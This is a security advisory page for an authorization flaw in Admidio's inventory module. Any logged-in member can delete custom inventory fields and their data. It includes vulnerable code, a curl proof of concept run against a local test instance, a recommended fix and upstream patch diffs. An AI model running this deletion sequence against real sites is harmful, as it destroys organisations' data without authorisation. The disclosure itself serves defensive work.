VYPR
Medium severity6.5GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024

CVE-2026-47233

Description

Summary

Commit d37ca6b27b9674238e58491cf7ba292e66898f15 ("Delete item not check admin rights #2024", 2026-04-12) added a missing isAdministratorInventory() gate to case 'item_delete': in modules/inventory.php. The same fix was not applied to the sibling case 'field_delete': handler, which destroys an entire inventory field definition, cascading to every adm_inventory_item_data row that referenced that field and every adm_inventory_field_options entry. The handler validates only a session-bound CSRF token; there is no isAdministratorInventory() check at the controller level, and Admidio\Inventory\Entity\ItemField::delete() does not enforce one at the entity level either (unlike its sibling ItemField::save(), which does check $gCurrentUser->isAdministrator()). Any user who can log in to the site can permanently destroy a non-system inventory field by sending one POST.

Details

Vulnerable

Code

modules/inventory.php mode dispatch at the top of the file:

// modules/inventory.php:64-72  (top-level rights gate)
if ($gSettingsManager->getInt('inventory_module_enabled') === 0) {
    throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('inventory_module_enabled') === 2 && !$gValidLogin
    || ($gSettingsManager->getInt('inventory_module_enabled') === 3 && !$gCurrentUser->isAdministratorInventory())
    || ($gSettingsManager->getInt('inventory_module_enabled') === 4 && !InventoryPresenter::isCurrentUserKeeper() && !$gCurrentUser->isAdministratorInventory())
    || ($gSettingsManager->getInt('inventory_module_enabled') === 5 && !$gCurrentUser->isAllowedToSeeInventory() && !$gCurrentUser->isAdministratorInventory())) {
    throw new Exception('SYS_NO_RIGHTS');
}

inventory_module_enabled=2 is the default value (install/db_scripts/preferences.php: 'inventory_module_enabled' => '2',). At this setting the only gate is $gValidLogin — any logged-in user reaches the switch.

modules/inventory.php:123-131field_delete only checks the session CSRF, not admin rights:

case 'field_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);
    $itemFieldService->delete();

    echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
    break;

SecurityUtils::validateCsrfToken (src/Infrastructure/Utils/SecurityUtils.php) is a session-token compare:

public static function validateCsrfToken(string $csrfToken)
{
    global $gCurrentSession;
    if ($csrfToken !== $gCurrentSession->getCsrfToken()) {
        throw new Exception('Invalid or missing CSRF token!');
    }
}

The token is the session's CSRF token, which the actor's own session prints on every page (it appears in ?mode=field_list's response in the data-csrf JSON callback). So a non-admin attacker has it for free.

src/Inventory/Service/ItemFieldService.php:46-49 — the service just delegates:

public function delete(): bool
{
    return $this->itemFieldRessource->delete();
}

src/Inventory/Entity/ItemField.php:54-88 — the entity's delete() blocks system fields via inf_system==1 but otherwise has **no isAdministrator() check**:

public function delete(): bool
{
    global $gCurrentOrgId;

    if ($this->getValue('inf_system') == 1) {
        // System fields could not be deleted
        throw new Exception('Item fields with the flag "system" could not be deleted.');
    }

    $this->db->startTransaction();

    // close gap in sequence
    $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . ' SET inf_sequence = inf_sequence - 1 ...';
    $this->db->queryPrepared($sql, ...);

    // delete all data of this field in the item data table
    $sql = 'DELETE FROM ' . TBL_INVENTORY_ITEM_DATA . ' WHERE ind_inf_id = ? -- $infId';
    $this->db->queryPrepared($sql, array($infId));

    // delete all data of this field in the field select options table
    $sql = 'DELETE FROM ' . TBL_INVENTORY_FIELD_OPTIONS . ' WHERE ifo_inf_id = ? -- $infId';
    $this->db->queryPrepared($sql, array($infId));

    $return = parent::delete();        // DELETE FROM adm_inventory_fields WHERE inf_id = ?

    $this->db->endTransaction();
    return $return;
}

Compare with ItemField::save() at line 230, which *does* enforce admin:

public function save(bool $updateFingerPrint = true): bool
{
    global $gCurrentUser, $gCurrentOrgId;

    // only administrators can edit item fields
    if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
        throw new Exception('Item field could not be saved because only administrators are allowed to edit item fields.');
    }
    ...
}

The asymmetry is the bug: save is gated, delete is not.

Sibling

Handlers with the Same Shape

Six other state-changing modes in the same file have the same "CSRF only, no isAdministratorInventory() check" structure. They are not the subject of *this* advisory but should be patched together when fixing the root cause:

| line | mode | effect | |---:|---|---| | 123 | field_delete | this advisory | | 154 | delete_option_entry | removes a single option from a dropdown / radio field | | 171 | sequence | reorders fields | | 347 | item_retire | hides items from the active inventory | | 364 | item_reinstate | un-hides items | | 462 | item_picture_delete | deletes an item picture |

Each of these is reachable by any logged-in user under the default inventory_module_enabled=2.

PoC

Tested live on HEAD c5cde53 with PHP 8.4, MariaDB 11.8 backing on 127.0.0.1:3399, Admidio served via php -S 127.0.0.1:8085. inventory_module_enabled=2 (default install).

A non-administrator user lowuser was created via the admin UI and given only the default Member role. The user has no isAdministratorInventory() right and is not configured as a keeper. A non-system test field TESTFIELD (uuid cccccccc-2222-3333-4444-deadbeefcafe) was created via SQL, with inf_system=0.

# starting state: lowuser is a regular Member; TESTFIELD exists
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern, inf_system FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
inf_id  inf_uuid                                inf_name_intern  inf_system
8       cccccccc-2222-3333-4444-deadbeefcafe    TESTFIELD        0

# 1. login as lowuser
$ curl -sb $cookie -L "http://127.0.0.1:8085/" -o /tmp/init.html
$ csrf=$(grep -oE 'adm_csrf_token[^"]+value="[^"]+' /tmp/init.html | head -1 | sed 's/.*value="//')
$ curl -sb $cookie \
    --data-urlencode "adm_csrf_token=$csrf" \
    --data-urlencode "plg_usr_login_name=lowuser" \
    --data-urlencode "plg_usr_password=Lowpwd123!" \
    "http://127.0.0.1:8085/system/login.php?mode=check"
{"status":"success","url":"http://127.0.0.1:8085/modules/overview.php"}

# 2. lowuser visits inventory's field_list page (this works under default
#    inventory_module_enabled=2 because $gValidLogin is true)
#    The response contains the session CSRF token in a data callback
$ inv_csrf=$(curl -sb $cookie "http://127.0.0.1:8085/modules/inventory.php?mode=field_list" \
              | grep -oE '"adm_csrf_token":\s*"[^"]+"' | head -1 \
              | sed 's/.*"adm_csrf_token":\s*"//;s/"$//')

# 3. lowuser sends field_delete targeting TESTFIELD
$ curl -sb $cookie -X POST \
    --data-urlencode "adm_csrf_token=$inv_csrf" \
    "http://127.0.0.1:8085/modules/inventory.php?mode=field_delete&uuid=cccccccc-2222-3333-4444-deadbeefcafe"
{"status":"success","message":"Item field successfully deleted"}

# 4. verify
$ mariadb -uroot -D admidio -e "SELECT inf_id, inf_uuid, inf_name_intern FROM adm_inventory_fields WHERE inf_name_intern='TESTFIELD';"
(no rows)

The field is gone. Admidio\Inventory\Entity\ItemField::delete() ran the four statements (sequence-gap update, DELETE FROM adm_inventory_item_data, DELETE FROM adm_inventory_field_options, DELETE FROM adm_inventory_fields) and committed the transaction. lowuser is a regular Member, holds no inventory-administrator role, was not a keeper, and was not the field's creator.

Impact

A non-administrator user with the cheapest possible authentication (a normal organisation member account) can permanently destroy any custom inventory field configured by an administrator. Concretely:

  • Every per-item value stored against that field across the whole organisation is wiped (DELETE FROM adm_inventory_item_data WHERE ind_inf_id = ).
  • For dropdown / radio / multiselect fields, every option entry is wiped (DELETE FROM adm_inventory_field_options WHERE ifo_inf_id = ).
  • The field definition itself is removed; subsequent inventory exports / item lists silently drop the column.
  • There is no in-product undo. Recovery requires restoring from backup.

In practice, a single attacker with one rogue regular-member account can iterate field_list to enumerate non-system fields and delete all of them in a few requests. The inventory module's stored data (item names, categories, statuses, custom fields) becomes unrecoverable without a database snapshot.

PR:L because any logged-in member is enough; S:U because the impact stays inside Admidio's own data; C:N because the operation does not leak data; I:H because the field row plus all referencing rows are destroyed; A:H because the inventory module's user-defined schema is lost.

The bug is a classic incomplete fix: commit d37ca6b patched the literal endpoint named in issue #2024 (item_delete) but did not sweep its siblings. The pattern was raised by the maintainers themselves in commit 12639a4 ("CSRF and Form Validation Bypass in Inventory Item Save via 'imported' Parameter") on item_save, again only on the literal reported endpoint.

Recommended

Fix

Add an explicit isAdministratorInventory() check at the top of case 'field_delete': (and the sibling state-changing handlers listed above), matching the pattern that was applied to item_delete in d37ca6b:

// modules/inventory.php
case 'field_delete':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    // check if user has admin rights for inventory   <-- new
    if (!$gCurrentUser->isAdministratorInventory()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $itemFieldService = new ItemFieldService($gDb, $getinfUUID);
    $itemFieldService->delete();

    echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEMFIELD_DELETED')));
    break;

Apply the same patch to delete_option_entry (line 154), sequence (line 171), item_retire (line 347), item_reinstate (line 364), and item_picture_delete (line 462).

For defense in depth, mirror the entity-level gate from ItemField::save() into ItemField::delete() at src/Inventory/Entity/ItemField.php:54:

public function delete(): bool
{
    global $gCurrentUser, $gCurrentOrgId;

    if (!$gCurrentUser->isAdministrator() && !$this->saveChangesWithoutRights) {
        throw new Exception('Item field could not be deleted because only administrators are allowed to delete item fields.');
    }

    if ($this->getValue('inf_system') == 1) {
        throw new Exception('Item fields with the flag "system" could not be deleted.');
    }
    ...
}

A regression test should log in as a non-administrator member, GET inventory.php?mode=field_list, post mode=field_delete with the captured session CSRF token, and assert the response is SYS_NO_RIGHTS rather than success.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Any logged-in user can delete inventory fields in Admidio due to missing admin check in field_delete handler, causing data loss.

Vulnerability

In Admidio, the modules/inventory.php script handles inventory field deletion via the case 'field_delete': handler. Unlike the sibling item_delete handler (fixed in commit d37ca6b27b9674238e58491cf7ba292e66898f15), the field_delete path lacks an isAdministratorInventory() authorization check. The only validation is a session-bound CSRF token. The default configuration (inventory_module_enabled=2) allows any authenticated user to reach this code path. The vulnerability affects all versions prior to the fix (commit not yet released as of advisory). [1][2]

Exploitation

An attacker needs only a valid login session on the Admidio site. By sending a single POST request to modules/inventory.php with mode=field_delete and a valid CSRF token (obtainable from the page), the attacker can delete any non-system inventory field definition. The request triggers cascading deletion of all adm_inventory_item_data rows referencing that field and all associated adm_inventory_field_options entries. No additional privileges or user interaction beyond login are required. [1][2]

Impact

Successful exploitation permanently destroys an inventory field definition and all related data. This results in loss of structured inventory information across the application. The attacker does not gain code execution or elevated privileges, but the data loss can disrupt inventory management and may require restoration from backups. The impact is limited to non-system fields (system fields are protected by a separate check). [1][2]

Mitigation

As of the advisory publication date (2026-05-29), no patched version has been released. The fix requires adding an isAdministratorInventory() gate to the case 'field_delete': handler in modules/inventory.php, similar to the fix applied for item_delete. Until a patch is available, administrators should restrict access to the inventory module by setting inventory_module_enabled to a value that requires administrator privileges (e.g., 3 or higher) and monitor for unauthorized field deletions. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities catalog. [1][2]

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Admidio/AdmidioGHSA2 versions
    <= 5.0.9+ 1 more
    • (no CPE)range: <= 5.0.9
    • (no CPE)

Patches

3
57bdc6c2fe9e

fix problems in inventory module

https://github.com/admidio/admidioMarkus FaßbenderMay 17, 2026Fixed in 5.0.10via llm-release-walk
2 files changed · +57 18
  • src/Inventory/Entity/ItemField.php+0 7 modified
    @@ -266,13 +266,6 @@ public function save(bool $updateFingerPrint = true): bool
          */
         public function setValue(string $columnName, mixed $newValue, bool $checkValue = true): bool
         {
    -        global $gCurrentUser;
    -
    -        // only administrators can edit item fields
    -        if (!$gCurrentUser->isAdministratorInventory()) {
    -            throw new Exception('SYS_NO_RIGHTS');
    -        }
    -
             if ($newValue !== parent::getValue($columnName)) {
                 if ($checkValue) {
                     if ($columnName === 'inf_description') {
    
  • src/UI/Presenter/InventoryPresenter.php+57 11 modified
    @@ -4,6 +4,7 @@
     
     // Admidio namespaces
     use Admidio\Categories\Service\CategoryService;
    +use Admidio\Infrastructure\Database;
     use Admidio\Infrastructure\Exception;
     use Admidio\Infrastructure\Utils\SecurityUtils;
     use Admidio\Infrastructure\Utils\StringUtils;
    @@ -260,7 +261,8 @@ protected function createHeader(): void
             );
     
             // read all keeper
    -        $sql = 'SELECT DISTINCT ind_value,
    +        if (DB_ENGINE === Database::PDO_ENGINE_PGSQL) {
    +            $sql = 'SELECT DISTINCT ind_value,
                 CASE
                     WHEN ind_value = \'-1\' THEN \'n/a\'
                     ELSE CONCAT_WS(\', \', last_name.usd_value, first_name.usd_value)
    @@ -278,6 +280,26 @@ protected function createHeader(): void
                     OR inf_org_id IS NULL)
                 AND inf_name_intern = \'KEEPER\'
                 ORDER BY keeper_name;';
    +        } else {
    +            $sql = 'SELECT DISTINCT ind_value,
    +            CASE
    +                WHEN ind_value = \'-1\' THEN \'n/a\'
    +                ELSE CONCAT_WS(\', \', last_name.usd_value, first_name.usd_value)
    +            END as keeper_name
    +            FROM ' . TBL_INVENTORY_ITEM_DATA . '
    +            INNER JOIN ' . TBL_INVENTORY_FIELDS . '
    +                ON inf_id = ind_inf_id
    +            LEFT JOIN ' . TBL_USER_DATA . ' as last_name
    +                ON CAST(last_name.usd_usr_id AS CHAR) COLLATE utf8mb3_unicode_ci = ind_value
    +                AND last_name.usd_usf_id = ' . $gProfileFields->getProperty('LAST_NAME', 'usf_id') . '
    +            LEFT JOIN ' . TBL_USER_DATA . ' as first_name
    +                ON CAST(first_name.usd_usr_id AS CHAR) COLLATE utf8mb3_unicode_ci = ind_value
    +                AND first_name.usd_usf_id = ' . $gProfileFields->getProperty('FIRST_NAME', 'usf_id') . '
    +            WHERE (inf_org_id  = ' . $gCurrentOrgId . '
    +                OR inf_org_id IS NULL)
    +            AND inf_name_intern = \'KEEPER\'
    +            ORDER BY keeper_name;';
    +        }
     
             // filter keeper
             $form->addSelectBoxFromSql(
    @@ -292,7 +314,8 @@ protected function createHeader(): void
             );
     
             // get all last receivers
    -        $sql = 'SELECT DISTINCT borrowData.inb_last_receiver,
    +        if (DB_ENGINE === Database::PDO_ENGINE_PGSQL) {
    +            $sql = 'SELECT DISTINCT borrowData.inb_last_receiver,
                 CASE
                     WHEN borrowData.inb_last_receiver = \'-1\'
                         THEN \'n/a\'
    @@ -306,13 +329,36 @@ protected function createHeader(): void
                     ON fields.inf_name_intern = \'LAST_RECEIVER\'
                 AND (fields.inf_org_id = ' . $gCurrentOrgId . ' OR fields.inf_org_id IS NULL)
                 LEFT JOIN ' . TBL_USER_DATA . ' AS last_name
    -                ON CAST(last_name.usd_usr_id AS VARCHAR(255))  = borrowData.inb_last_receiver
    +                ON CAST(last_name.usd_usr_id AS VARCHAR(255)) = borrowData.inb_last_receiver
                 AND last_name.usd_usf_id = ' . $gProfileFields->getProperty('LAST_NAME', 'usf_id') . '
                 LEFT JOIN ' . TBL_USER_DATA . ' AS first_name
    -                ON CAST(first_name.usd_usr_id AS VARCHAR(255))  = borrowData.inb_last_receiver
    +                ON CAST(first_name.usd_usr_id AS VARCHAR(255)) = borrowData.inb_last_receiver
                 AND first_name.usd_usf_id = ' . $gProfileFields->getProperty('FIRST_NAME', 'usf_id') . '
                 WHERE fields.inf_name_intern = \'LAST_RECEIVER\'
                 ORDER BY receiver_name;';
    +        } else {
    +            $sql = 'SELECT DISTINCT borrowData.inb_last_receiver,
    +            CASE
    +                WHEN borrowData.inb_last_receiver = \'-1\'
    +                    THEN \'n/a\'
    +                WHEN last_name.usd_value IS NOT NULL AND last_name.usd_value <> \'\' AND first_name.usd_value IS NOT NULL AND first_name.usd_value <> \'\'
    +                    THEN CONCAT_WS(\', \', last_name.usd_value, first_name.usd_value)
    +                ELSE
    +                    borrowData.inb_last_receiver
    +            END AS receiver_name
    +            FROM ' . TBL_INVENTORY_ITEM_BORROW_DATA . ' AS borrowData
    +            INNER JOIN ' . TBL_INVENTORY_FIELDS . ' AS fields
    +                ON fields.inf_name_intern = \'LAST_RECEIVER\'
    +            AND (fields.inf_org_id = ' . $gCurrentOrgId . ' OR fields.inf_org_id IS NULL)
    +            LEFT JOIN ' . TBL_USER_DATA . ' AS last_name
    +                ON CAST(last_name.usd_usr_id AS CHAR) COLLATE utf8mb3_unicode_ci = borrowData.inb_last_receiver
    +            AND last_name.usd_usf_id = ' . $gProfileFields->getProperty('LAST_NAME', 'usf_id') . '
    +            LEFT JOIN ' . TBL_USER_DATA . ' AS first_name
    +                ON CAST(first_name.usd_usr_id AS CHAR) COLLATE utf8mb3_unicode_ci = borrowData.inb_last_receiver
    +            AND first_name.usd_usf_id = ' . $gProfileFields->getProperty('FIRST_NAME', 'usf_id') . '
    +            WHERE fields.inf_name_intern = \'LAST_RECEIVER\'
    +            ORDER BY receiver_name;';
    +        }
     
             // filter last receiver
             $form->addSelectBoxFromSql(
    @@ -795,9 +841,9 @@ public function prepareData(string $mode = 'html'): array
     
                 // For the first column, add item picture column when enabled and in html mode
                 if ($columnNumber === 1 && ($mode === 'html' && $gSettingsManager->GetBool('inventory_item_picture_enabled'))) {
    -                    // photo column
    -                    $headers[] = '&nbsp;';
    -                    $columnAlign[] = 'center';
    +                // photo column
    +                $headers[] = '&nbsp;';
    +                $columnAlign[] = 'center';
                 }
     
                 // Decide alignment based on inf_type
    @@ -954,7 +1000,7 @@ public function prepareData(string $mode = 'html'): array
                             : $this->itemsData->getHtmlValue($infNameIntern, $content);
                     } elseif (in_array($infType, array('DATE', 'DROPDOWN', 'DROPDOWN_MULTISELECT'))) {
                         $content = $this->itemsData->getHtmlValue($infNameIntern, $content);
    -                } elseif ($infType ===  'DROPDOWN_DATE_INTERVAL') {
    +                } elseif ($infType === 'DROPDOWN_DATE_INTERVAL') {
                         $content = $this->itemsData->getValue($infNameIntern, 'database');
                         if (isset($content) && is_numeric($content)) {
                             $selectedOption = $content;
    @@ -1008,7 +1054,7 @@ public function prepareData(string $mode = 'html'): array
                                         $content = $daysRemaining . ' ' . $gL10n->get('SYS_DAY');
                                     } elseif ($daysRemaining === '-0') {
                                         $content = '0 ' . $gL10n->get('SYS_DAYS');
    -                                }  else {
    +                                } else {
                                         $content = $daysRemaining . ' ' . $gL10n->get('SYS_DAYS');
                                     }
                                 } catch (\Exception $e) {
    @@ -1090,7 +1136,7 @@ public function prepareData(string $mode = 'html'): array
                             $dataMessage = ($this->isKeeperAuthorizedToEdit((int)$this->itemsData->getValue('KEEPER', 'database'))) ? $gL10n->get('SYS_INVENTORY_KEEPER_ITEM_REINSTATE_DESC', array('SYS_INVENTORY_KEEPER_ITEM_DELETE_DESC', 'SYS_INVENTORY_ITEM_REINSTATE_CONFIRM')) : $gL10n->get('SYS_INVENTORY_ITEM_REINSTATE_CONFIRM');
                             // Add reinstate action
                             $rowValues['actions'][] = array(
    -                            'dataHref' => 'callUrlHideElement(\'adm_inventory_item_' . $item['ini_uuid'] . '\', \'' . SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/inventory.php', array('mode' => 'item_reinstate', 'item_uuid' => $item['ini_uuid'], 'item_retired' => $this->itemsData->isRetired())) . '\', \'' . $gCurrentSession->getCsrfToken() . '\''. (($this->getFilterStatus === 0) ? ', \'refreshInventoryTable\'' : '') . ');',
    +                            'dataHref' => 'callUrlHideElement(\'adm_inventory_item_' . $item['ini_uuid'] . '\', \'' . SecurityUtils::encodeUrl(ADMIDIO_URL . FOLDER_MODULES . '/inventory.php', array('mode' => 'item_reinstate', 'item_uuid' => $item['ini_uuid'], 'item_retired' => $this->itemsData->isRetired())) . '\', \'' . $gCurrentSession->getCsrfToken() . '\'' . (($this->getFilterStatus === 0) ? ', \'refreshInventoryTable\'' : '') . ');',
                                 'dataMessage' => $dataMessage,
                                 'icon' => 'bi bi-eye',
                                 'tooltip' => $gL10n->get('SYS_INVENTORY_ITEM_REINSTATE')
    @@ -1317,7 +1363,7 @@ public function prepareDataProfile(ItemsData $itemsData, string $itemFieldFilter
                         $content = $itemsData->getHtmlValue($infNameIntern, $content);
                     } elseif (in_array($infType, array('DATE', 'DROPDOWN', 'DROPDOWN_MULTISELECT'))) {
                         $content = $itemsData->getHtmlValue($infNameIntern, $content);
    -                } elseif ($infType ===  'DROPDOWN_DATE_INTERVAL') {
    +                } elseif ($infType === 'DROPDOWN_DATE_INTERVAL') {
                         if (isset($content) && is_numeric($content)) {
                             try {
                                 // Load item data to get connected field value
    
a0e0e4985ae0

Merge pull request #2055 from MightyMCoder/master

https://github.com/admidio/admidioMathias HuthMay 17, 2026Fixed in 5.0.10via llm-release-walk
6 files changed · +207 6
  • modules/inventory.php+35 0 modified
    @@ -89,6 +89,11 @@
                 break;
     #region fields
             case 'field_list':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 $headline = $gL10n->get('SYS_INVENTORY_ITEMFIELDS');
                 $gNavigation->addUrl(CURRENT_URL, $headline);
                 $itemFields = new InventoryFieldsPresenter('adm_inventory_item_fields');
    @@ -98,6 +103,11 @@
                 break;
     
             case 'field_edit':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 // set headline of the script
                 if ($getinfUUID !== '') {
                     $headline = $gL10n->get('SYS_INVENTORY_ITEMFIELD_EDIT');
    @@ -113,6 +123,11 @@
                 break;
     
             case 'field_save':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 $itemFieldService = new ItemFieldService($gDb, $getinfUUID);
                 $itemFieldService->save();
     
    @@ -121,6 +136,11 @@
                 break;
     
             case 'field_delete':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 // check the CSRF token of the form against the session token
                 SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
     
    @@ -131,6 +151,11 @@
                 break;
     
             case 'check_option_entry_status':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 // check the CSRF token of the form against the session token
                 SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
     
    @@ -152,6 +177,11 @@
                 break;
     
             case 'delete_option_entry':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 // check the CSRF token of the form against the session token
                 SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
     
    @@ -169,6 +199,11 @@
                 break;
     
             case 'sequence':
    +            // check if user has admin rights for inventory
    +            if (!$gCurrentUser->isAdministratorInventory()) {
    +                throw new Exception('SYS_NO_RIGHTS');
    +            }
    +
                 // Update menu entry sequence
                 $postDirection = admFuncVariableIsValid($_POST, 'direction', 'string', array('validValues' => array(MenuEntry::MOVE_UP, MenuEntry::MOVE_DOWN)));
                 $getOrder = admFuncVariableIsValid($_GET, 'order', 'array');
    
  • src/Inventory/Entity/ItemField.php+20 1 modified
    @@ -53,7 +53,12 @@ public function __construct(Database $database, int $filId = 0)
          */
         public function delete(): bool
         {
    -        global $gCurrentOrgId;
    +        global $gCurrentOrgId, $gCurrentUser;
    +
    +        // only administrators can edit item fields
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
     
             if ($this->getValue('inf_system') == 1) {
                 // System fields could not be deleted
    @@ -261,6 +266,13 @@ public function save(bool $updateFingerPrint = true): bool
          */
         public function setValue(string $columnName, mixed $newValue, bool $checkValue = true): bool
         {
    +        global $gCurrentUser;
    +
    +        // only administrators can edit item fields
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             if ($newValue !== parent::getValue($columnName)) {
                 if ($checkValue) {
                     if ($columnName === 'inf_description') {
    @@ -289,6 +301,13 @@ public function setValue(string $columnName, mixed $newValue, bool $checkValue =
          */
         public function setSelectOptions(array $newValues): bool
         {
    +        global $gCurrentUser;
    +
    +        // only administrators can edit item fields
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             return (new SelectOptions($this->db, (int)$this->getValue('inf_id')))->setOptionValues($newValues);
         }
     
    
  • src/Inventory/Entity/Item.php+8 1 modified
    @@ -99,7 +99,7 @@ public function disableChangeNotification(): void
         public function setValue(string $columnName, mixed $newValue, bool $checkValue = true): bool
         {
             $this->changedValues[$columnName] = array('oldValue' => $this->getValue($columnName), 'newValue' => $newValue);
    -        return parent::setValue($columnName, $newValue, $checkValue); // TODO: Change the autogenerated stub
    +        return parent::setValue($columnName, $newValue, $checkValue);
         }
     
         /**
    @@ -123,6 +123,13 @@ public function readDataById(int $id): bool
             return $ret;
         }
     
    +    /**
    +     * Reads a record out of the table in database selected by the unique uuid column in the table.
    +     * Per default all columns of the default table will be read and stored in the object.
    +     * @param string $uuid Unique uuid of the item
    +     * @return bool Returns **true** if one record is found
    +     * @throws Exception
    +     */
         public function readDataByUuid(string $uuid): bool
         {
             $ret = parent::readDataByUuid($uuid);
    
  • src/Inventory/Service/ItemFieldService.php+26 4 modified
    @@ -45,6 +45,13 @@ public function __construct(Database $database, string $itemFieldUUID = '')
          */
         public function delete(): bool
         {
    +        global $gCurrentUser;
    +
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             return $this->itemFieldRessource->delete();
         }
     
    @@ -56,7 +63,12 @@ public function delete(): bool
          */
         public function moveSequence(string $mode): bool
         {
    -        global $gCurrentOrgId;
    +        global $gCurrentOrgId, $gCurrentUser;
    +
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
     
             $infSequence = (int)$this->itemFieldRessource->getValue('inf_sequence');
             $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . '
    @@ -99,8 +111,13 @@ public function getFieldID(): int
          */
         public function setSequence(array $sequence): bool
         {
    -        global $gCurrentOrgId;
    -        //$usfCatId = $this->getValue('usf_cat_id');
    +        global $gCurrentOrgId, $gCurrentUser;
    +
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             $infUUID = $this->itemFieldRessource->getValue('inf_uuid');
     
             $sql = 'UPDATE ' . TBL_INVENTORY_FIELDS . '
    @@ -132,7 +149,12 @@ public function setSequence(array $sequence): bool
          */
         public function save(): bool
         {
    -        global $gCurrentSession, $gCurrentOrgId, $gDb;
    +        global $gCurrentSession, $gCurrentOrgId, $gDb, $gCurrentUser;
    +
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
     
             // check form field input and sanitized it from malicious content
             $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    
  • src/Inventory/Service/ItemService.php+62 0 modified
    @@ -53,13 +53,42 @@ public function __construct(Database $database, string $itemUUID = '', int $post
             $this->itemRessource->readItemData($itemUUID);
         }
     
    +    /**
    +     * Check if the current user is authorized to edit specific item data
    +     *
    +     * @return bool            true if the user is authorized
    +     * @throws Exception
    +     */
    +    public function isEditable(): bool
    +    {
    +        global $gSettingsManager, $gCurrentUser;
    +
    +        $keeper = $this->itemRessource->getValue('KEEPER', 'database');
    +        // check if the user has admin rights
    +        if ($gCurrentUser->isAdministratorInventory()) {
    +            return true;
    +        }
    +        // if user has no amin rights, check if user is keeper of the item and if keepers are allowed to edit the item
    +        elseif ($gSettingsManager->getInt('inventory_module_enabled') !== 3 && $gSettingsManager->getBool('inventory_allow_keeper_edit')) {
    +            if ($keeper === $gCurrentUser->getValue('usr_id')) {
    +                return true;
    +            }
    +        }
    +        return false;
    +    }
    +
         /**
          * Marks the item as retired.
          *
          * @throws Exception
          */
         public function retireItem(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             $this->itemRessource->retireItem();
     
             // Send notification to all users
    @@ -72,6 +101,11 @@ public function retireItem(): void
          */
         public function reinstateItem(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             $this->itemRessource->reinstateItem();
     
             // Send notification to all users
    @@ -85,6 +119,12 @@ public function reinstateItem(): void
          */
         public function delete(): void
         {
    +        global $gCurrentUser;
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             $this->itemRessource->deleteItem();
     
             // Send notification to all users
    @@ -100,6 +140,11 @@ public function save(bool $multiEdit = false): void
         {
             global $gCurrentSession, $gL10n, $gSettingsManager;
     
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // check form field input and sanitized it from malicious content
             $itemFieldsEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
             $formValues = $itemFieldsEditForm->validate($_POST, $multiEdit);
    @@ -235,6 +280,12 @@ public function showItemPicture($getNewPicture = false): void
         public function uploadItemPicture(): void
         {
             global $gCurrentSession, $gSettingsManager;
    +
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
